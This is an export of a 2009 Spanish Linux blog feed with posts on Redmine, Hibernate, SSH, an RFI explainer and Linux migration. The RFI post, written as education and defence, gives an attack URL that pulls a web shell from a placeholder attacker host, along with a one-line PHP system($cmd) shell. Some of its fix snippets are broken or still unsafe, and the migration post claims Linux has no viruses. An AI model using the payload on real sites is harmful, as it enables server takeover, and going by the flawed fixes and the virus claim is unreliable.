src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SwqcOSOtpZI/AAAAAAAAALw/YTY_69xjW90/s320/Pantallazo.png" alt="" id="BLOGGER_PHOTO_ID_5407306071837353362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SwqcW2WB7UI/AAAAAAAAAL4/diKKAdX8HTk/s1600/Pantallazo-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SwqcW2WB7UI/AAAAAAAAAL4/diKKAdX8HTk/s320/Pantallazo-1.png" alt="" id="BLOGGER_PHOTO_ID_5407306218970672450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SwqcfKAohQI/AAAAAAAAAMA/OwSqZ8vyi-4/s1600/Pantallazo-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SwqcfKAohQI/AAAAAAAAAMA/OwSqZ8vyi-4/s320/Pantallazo-2.png" alt="" id="BLOGGER_PHOTO_ID_5407306361688589570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SwqcocsoUMI/AAAAAAAAAMI/makdal5UQjM/s1600/Pantallazo-3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SwqcocsoUMI/AAAAAAAAAMI/makdal5UQjM/s320/Pantallazo-3.png" alt="" id="BLOGGER_PHOTO_ID_5407306521323786434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SwqcunqAu-I/AAAAAAAAAMQ/vLn2vZ_QMzI/s1600/Pantallazo-4.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SwqcunqAu-I/AAAAAAAAAMQ/vLn2vZ_QMzI/s320/Pantallazo-4.png" alt="" id="BLOGGER_PHOTO_ID_5407306627344808930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Listo, tenemos el firewall en linux corriendo.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-8654755868354792112?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/8654755868354792112/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=8654755868354792112' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8654755868354792112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8654755868354792112'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/11/firewall-en-linux.html' title='Firewall en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/SwqcOSOtpZI/AAAAAAAAALw/YTY_69xjW90/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2478388165907778542</id><published>2009-10-08T09:52:00.003-04:00</published><updated>2009-10-08T10:10:57.009-04:00</updated><title type='text'>Error al arrancar mongrel en redmine</title><content type='html'>Hola, redmine es un administrador de proyectos y tareas open source, escrito en ruby onrail's, implementa mongrel.&lt;br /&gt;Mongrel es un servidor HTTP para aplicaciones escritas en Ruby cuya principal característica es la velocidad, por defecto redmine utiliza dos procesos mongrel para el servicio http, pudiendo agregar otros process id mongrel para mejorar el rendimiento de la aplicación.&lt;br /&gt;&lt;br /&gt;algunas veces cuando queremos arrancar redmine por consola ocurre lo siguiente:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/redmine-0.8.1-2$ &lt;span style="font-weight: bold;"&gt;./ctlscript.sh start&lt;/span&gt;&lt;br /&gt;nohup: redirecting stderr to stdout&lt;br /&gt;Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql  started at port 3307&lt;br /&gt;starting port 3001&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;** !!! PID file tmp/pids/mongrel.3001.pid already exists.  Mongrel could be running already.  Check your log/mongrel.3001.log for errors.&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;** !!! Exiting with error.  You must stop mongrel and clear the .pid before I'll attempt a start.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;starting port 3002&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;** !!! PID file tmp/pids/mongrel.3002.pid already exists.  Mongrel could be running already.  Check your log/mongrel.3002.log for errors.&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;** !!! Exiting with error.  You must stop mongrel and clear the .pid before I'll attempt a start.&lt;/span&gt;&lt;br /&gt;Syntax OK&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690&lt;br /&gt;&lt;br /&gt;El log nos indica que el servicio mongrel no pudo arrancar porque ya existen pids corriendo para este servicio, sin embargo redmine esta abajo. para solucionar este problema debemos asegurarnos que los servicios utilizados esten abajo, para lo cual bajamos en modo comando redmine y sus servicios, como se indica:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/redmine-0.8.1-2$ &lt;span style="font-weight: bold;"&gt;./ctlscript.sh stop&lt;/span&gt;&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion stopped&lt;br /&gt;Syntax OK&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd stopped&lt;br /&gt;already stopped port 3001&lt;br /&gt;already stopped port 3002&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql stopped&lt;br /&gt;&lt;br /&gt;Ahora debemos eliminar los pids relacionados al error anterior, debemos ir a la siguiente ruta, ejecutar el comando&lt;span style="font-weight: bold;"&gt; ls&lt;/span&gt;, para listar los pids que debemos eliminar:&lt;br /&gt;&lt;br /&gt;slack@zion:~&lt;span style="font-weight: bold;"&gt;/programas/redmine-0.8.1-2/apps/redmine/tmp/pids&lt;/span&gt;$ ls&lt;br /&gt;mongrel.3001.pid  mongrel.3002.pid&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/redmine-0.8.1-2/apps/redmine/tmp/pids$ &lt;span style="font-weight: bold;"&gt;rm *.*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora volvemos a arrancar Redmine, con comandos y vemos que el log ya no nos impide levantar correctamente los servicios.&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/redmine-0.8.1-2$ &lt;span style="font-weight: bold;"&gt;./ctlscript.sh start&lt;/span&gt;&lt;br /&gt;nohup: redirecting stderr to stdout&lt;br /&gt;Starting mysqld.bin daemon with databases from /home/slack/programas/redmine-0.8.1-2/mysql/data&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/mysql/scripts/ctl.sh : mysql  started at port 3307&lt;br /&gt;starting port 3001&lt;br /&gt;starting port 3002&lt;br /&gt;Syntax OK&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/apache2/scripts/ctl.sh : httpd started at port 8080&lt;br /&gt;/home/slack/programas/redmine-0.8.1-2/subversion/scripts/ctl.sh : subversion started at port 3690&lt;br /&gt;&lt;br /&gt;Ingresamos por el browser, http://localhost:8089/redmine (en mi caso lo tengo configurado en el puerto 8089)&lt;br /&gt;&lt;br /&gt;nos debe despliegar una pagina similar a la siguiente,&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/Ss3yt6Ls8RI/AAAAAAAAALo/Fpl6poFLE-E/s1600-h/home_redmine.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/Ss3yt6Ls8RI/AAAAAAAAALo/Fpl6poFLE-E/s320/home_redmine.png" alt="" id="BLOGGER_PHOTO_ID_5390231199558725906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2478388165907778542?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2478388165907778542/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2478388165907778542' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2478388165907778542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2478388165907778542'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/10/error-al-arrancar-mongrel-en-redmine.html' title='Error al arrancar mongrel en redmine'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/Ss3yt6Ls8RI/AAAAAAAAALo/Fpl6poFLE-E/s72-c/home_redmine.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4051084565911499448</id><published>2009-09-28T12:03:00.003-04:00</published><updated>2009-09-28T12:07:57.139-04:00</updated><title type='text'>Hibernate y sessionFactory</title><content type='html'>En este ejemplo se muestra como trabajar con hibernate y session, para el metodo save&lt;br /&gt;&lt;br /&gt;Código 1:&lt;br /&gt;&lt;br /&gt;import org.hibernate.Session;&lt;br /&gt;import org.hibernate.SessionFactory;&lt;br /&gt;import org.hibernate.Transaction;&lt;br /&gt;import org.springframework.orm.hibernate3.HibernateTemplate;&lt;br /&gt;&lt;br /&gt;public void saveAccounting(Accounting accounting){&lt;br /&gt;   // Obtenemos el sessionFactory que nos aportará la session y hibernateTemplate&lt;br /&gt;   SessionFactory sessionFactory = getSessionFactory();&lt;br /&gt;   // Obtenemos la session para iniciar la transaccion&lt;br /&gt;   Session session = sessionFactory.openSession();&lt;br /&gt;   // Obtenemos el HibernateTemplate que nos aportará&lt;br /&gt;   // las funcionalidades para comunicarnos con la BD&lt;br /&gt;   HibernateTemplate hibernateTemplate = new HibernateTemplate(sessionFactory);&lt;br /&gt;   // Iniciamos la transacción&lt;br /&gt;   Transaction transaccion = session.beginTransaction();&lt;br /&gt;   try {&lt;br /&gt;      getHibernateTemplate().save(accounting);&lt;br /&gt;      // Hacemos el commit de la transación&lt;br /&gt;      transaccion.commit();&lt;br /&gt;      session.close();&lt;br /&gt;   } catch (Exception e) {&lt;br /&gt;      transaccion.rollback();&lt;br /&gt;      e.printStackTrace();&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Código 2:&lt;br /&gt;&lt;br /&gt; public void saveAccounting(Accounting accounting){&lt;br /&gt;  getHibernateTemplate().save(accounting);&lt;br /&gt;  getHibernateTemplate().flush();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;Espero que les sirva, saludos !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4051084565911499448?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4051084565911499448/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4051084565911499448' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4051084565911499448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4051084565911499448'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/09/en-este-ejemplo-se-muestra-como.html' title='Hibernate y sessionFactory'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-6918646945377658819</id><published>2009-09-23T09:36:00.002-04:00</published><updated>2009-09-23T09:39:43.173-04:00</updated><title type='text'>Instalar SSH en Linux</title><content type='html'>apt (herramienta de administración de paquetes)&lt;br /&gt;&lt;br /&gt;apt-get install ssh&lt;br /&gt;&lt;br /&gt;Algunos comandos:&lt;br /&gt;&lt;br /&gt;ssh root@ip-maquina:/path del directorio&lt;br /&gt;&lt;br /&gt;Facil y bonito , use open source !!&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-6918646945377658819?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/6918646945377658819/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=6918646945377658819' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6918646945377658819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6918646945377658819'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/09/instalar-ssh-en-linux.html' title='Instalar SSH en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3670746160353460788</id><published>2009-06-02T10:04:00.001-04:00</published><updated>2009-06-02T10:04:55.409-04:00</updated><title type='text'>Remote File Inclusion (RFI)</title><content type='html'>RFI (Remote File Inclusion), es Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include(). jajajajja&lt;br /&gt;&lt;br /&gt;Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.&lt;br /&gt;&lt;br /&gt;Resumen del ataque&lt;br /&gt;&lt;br /&gt;Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.&lt;br /&gt;&lt;br /&gt;Este es un tipo de una página vulnerable, donde a traves de la url se invoka de mala forma a otra página:&lt;br /&gt;&lt;br /&gt;http://[servidor_victima]/index.php?page=plantilla.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:&lt;br /&gt;&lt;br /&gt;http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&amp;&amp;cmd=ls&lt;br /&gt;&lt;br /&gt;Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;  system($cmd);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.&lt;br /&gt;&lt;br /&gt;Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;  include_once($page)&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Detener el ataque&lt;br /&gt;&lt;br /&gt;Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;? &lt;br /&gt;  if ($url=="seccion")&lt;br /&gt;    include ($url.".php");&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;ó&lt;br /&gt;&lt;br /&gt;&lt;? &lt;br /&gt;  include ("./".$url.".php");&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;ó&lt;br /&gt;&lt;br /&gt;&lt;? &lt;br /&gt;  switch($url) {&lt;br /&gt;    case 0:include ("./contenidos/estapagina.php"); break;&lt;br /&gt;    case 1:include ("./contenidos/estaotra.php"); break; &lt;br /&gt;    default: include("./contenidos/error.php"); break;&lt;br /&gt;  }   &lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;ó&lt;br /&gt;&lt;br /&gt;&lt;? &lt;br /&gt;  $url = intval($_GET['url']);  //$url solo contendrá un valor entero.&lt;br /&gt;  $pagina = "./contenidos/cont".$url.".php"; &lt;br /&gt;  if (file_exists($pagina))&lt;br /&gt;    include($pagina);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Prevenir el Ataque&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;De esta forma no podría utilizar la variable page para RFI.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;&lt;br /&gt;    die('Error. intento de RFI..');&lt;br /&gt;else&lt;br /&gt;    include ($url);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.&lt;br /&gt;&lt;br /&gt;Por esto y muchas cosas más en mejor Java.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3670746160353460788?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3670746160353460788/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3670746160353460788' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3670746160353460788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3670746160353460788'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/06/remote-file-inclusion-rfi.html' title='Remote File Inclusion (RFI)'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4427737727740476180</id><published>2009-05-25T10:14:00.000-04:00</published><updated>2009-05-25T10:15:59.131-04:00</updated><title type='text'>Migrando a Linux</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;a name="BLOGGER_PHOTO_ID_5298375664474612306"&gt;&lt;/a&gt; Una de las cosas más frustrantes para un usuario de Linux es escuchar las quejas de aquellas personas que se han aventurado (o que han sido obligados) &lt;a href="http://3.bp.blogspot.com/_XUsAarnvi6k/SYecmEeVYlI/AAAAAAAAEsA/qdzArm37n0Q/s1600-h/linux_student.gif"&gt;&lt;img src="http://3.bp.blogspot.com/_XUsAarnvi6k/SYecmEeVYlI/AAAAAAAAEsA/qdzArm37n0Q/s400/linux_student.gif" name="graphics1" align="left" border="0" vspace="5" width="325" height="238" hspace="5" /&gt;&lt;/a&gt;a migrar a Linux sin la correcta asesoría. El día a día no da tiempo a la mayoría de personas para aprender por si mismas todas las cosas diferentes que tiene Linux. Por esta razón yo considero que es necesario tener una guía, preferiblemente alguien que ya maneje el sistema y que nos pueda ayudar.&lt;br /&gt;Esta Guía va dirigida a aquellos lectores de este blog que ya usan Linux y que son bombardeados por sus amigos con preguntas (y quejas) acerca de la migración. El tema de hoy:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;b&gt;5 temas a abordar antes de probar Linux&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Hay que analizar las ventajas de  Linux. El nuevo usuario generalmente esta convencido de que Linux es  experimental o ineficiente. Para generar una mayor motivación en el  potencial usuario solamente debes mostrarle varias cosas que hacen a  este sistema una alternativa para su trabajo cotidiano. En mi  experiencia se puede motivar a un usuario potencial con los  siguientes datos: Primero: En Linux no hay virus, Segundo: Hay  varias formas de usar los programas de Windows en Linux (conozco  muchos usuarios que han vuelto a windows porque no conocieron el  Wine), Tercero: Hay muchos programas, faciles de instalar que  satisfacerán sus necesidades, Cuarto: hay asistencia en linea 24  horas en los canales IRC y las listas de correo, usuarios por todo  el mundo conectados ayudando a hacer mejor el software. Quinto:  "Linux es sobre experimentar" Debes explicarle al nuevo  usuario que al contrario del software propietario, en Linux hay  millones de opciones y que con el tiempo el escogerá las que mas le  gusten. Sexto: Es clave explicar la filosofía del Software Libre,  las ventajas que usar S.O. representan y las diferencias con los  programas propietarios.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Linux es diferente. En mi opinión  es mas fácil de manejar que Windows y MacOS, pero es completamente  diferente y esto es uno de los aspectos fundamentales de la  deserción temprana en el aprendizaje de un nuevo sistema operativo  (Muchas de las quejas a Vista estaban relacionadas con este tema).  Esto quiere decir que el proceso de migración llevará un tiempo y  requiere cierta paciencia, dependiendo de las habilidades  informáticas del aprendiz, las motivaciones en el proceso y el  grado de compromiso: Es muy importante explicarle al nuevo usuario  que este proceso va a tomar cierto tiempo y que cada día se sentira  mejor sabiendo que linux da seguridad, estabilidad y confianza.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Hay que probar de todo. Una buena  herramienta para esto son los LiveCD. De esta manera el aprendiz de  Linux puede probar muchas distribuciones antes de decidirse por una,  igual que con los entornos de escritorio. Explicar la existencia de  tantas distribuciones puede ser díficil y si a eso añades los  entornos de escritorio, aun más. (Yo antes pensaba que solo existía  Windows) Es bueno que el nuevo usuario mire, pruebe y se convenza de  todas las herramientas. Yo se que muchos tenemos una distro  favorita, pero aveces perdemos usuarios por forzarlos en nuestros  propios gustos.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Es importante saber que no debe  desinstalar Windows para experimentar con Linux, perfectamente  pueden ambos sistemas existir en una maquina, ya sea en participones  distinmtas boteandoa al principio una elección o en una maquina  virtual como VirtualBox de Sun u otra.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;Es muy importante explicarle al nuevo usuario la razón por  la cual algunas piezas de hardware solamente funcionan con Windows y  verificar que todos sus dispositivos funcionan sin problemas. Para  un usuario novato es muy complicado instalar los drivers de una  tarjeta NVIDIA, o un controlador de video o la conexión del  firewire con la cámara, la wifi, etc. Muchas comunidades OpenSource  hacen FERIAS DE INSTALACIÓN donde configuran equipos para que  funcionen correctamente y ayudan a la gente que se esta iniciando en  este fantastico mundo, ademas de existir un millon de documentacion  por la web.&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Aunque parecen 5 amenazas o ideas para internalizar, es mejor saber de antemano estas cosas y ponerse a investigar, al final los dispositivos siempre funcionaran mejor q en el ventanukos.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;b&gt;Perder el miedo:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A diferencia de las instalaciones de Sistemas Operativos (S.O.) propietarios como windows, la idea con Linux es que el usuario es libre de instalar y desinstalar el sistema cuantas veces quiera, probar nuevas distribuciones e inclusive tener en la misma maquina Windows. En otros S.O. una nueva instalación generalmente implica la perdida de la información, de programas instalados e inclusive de algunas licencias particulares asociadas a esta instalación. En Linux, formatear es algo sin muchas complicaciones, por esta razón: &lt;i&gt;&lt;b&gt;NO TENGAS MIEDO DE DAÑAR ALGO EN EL SISTEMA.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Para formatear simplemente hay que quemar en un cd/dvd la carpeta personal (aquella que contiene las carpetas /documentos, /videos, / imagenes, etc.) y al comlpetar de nuevo la instalación volver a ponerla en su lugar.&lt;br /&gt;&lt;br /&gt;Entonces: ¿Ya viste donde esta la opción de agregar y quitar programas?, instala todo lo que quieras. ¿Quieres experimentar instalando todos los tipos de escritorio disponibles? Hazlo!!!&lt;br /&gt;¿Quieres probar complicados procedimientos que haz encontrado en blogs y foros? Intentalo.&lt;br /&gt;Linux se trata de aprender y &lt;b&gt;"Echando a perder se aprende", &lt;/b&gt;&lt;span style=""&gt;trabajando de esta forma no tardaras en tomarle el gusto a linux, la consola, investigar, etc. Te aconsejo ademas que las tareas repetitivas las documentes con el fin de que no vuelvas a invetigar lo ya hecho&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Los decálogos, las familias y la comunidad:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;En muchos "decálogos" del usuario encontraras que se considera moralmente necesario que pertenezcas a alguna comunidad Linux, colabores y "pongas tu granito de arena". Aunque muchos lo hacemos y es muy recomendable participar, no es una obligación moral. No debes ir a ninguna reunión si no quieres, no debes dar soporte técnico si no quieres y sobretodo no tienes que parecer vendedor de multinivel hablándole a todos tus amigos de Linux si no quieres. Aunque es muy divertido hacer estas cosas y algunas personas te digan que de eso depende el crecimiento del software libre, el simple hecho de usar Linux ya marca una diferencia. De la misma manera, si te quieres pasar a Linux solo porque el sistema funciona mejor que Windows y no por una elección política, esto también es bueno. &lt;b&gt;EL SOFTWARE LIBRE NO SE TRATA DE UNA LUCHA EN CONTRA DE LAS GRANDES EMPRESAS DE SOFTWARE, O DE PERTENECER A UNA COMUNIDAD ESPECIAL.&lt;/b&gt; &lt;i&gt;&lt;b&gt;Se trata de tener el control de tu computador y hacer con el lo que quieras sin que esto este regulado por un contrato.&lt;/b&gt;&lt;/i&gt; Esto es algo que muchos usuarios solo entienden después de un tiempo de pertenecer a alguna comunidad.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Usar Linux no implica usar solamente software libre.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Te sorprenderás cuando encuentres programas de Linux que cuestan dinero, pero existen, inclusive la mayoría de empresas que producen distribuciones de Linux tienen versiones corporativas que están a la venta. Es muy importante que sepas que hay distribuciones que no te permitirán ver contenido en flash (esto incluye sitios de video en formato flv, como youtube), que no reproducen MP3 o videos AVI, MOV 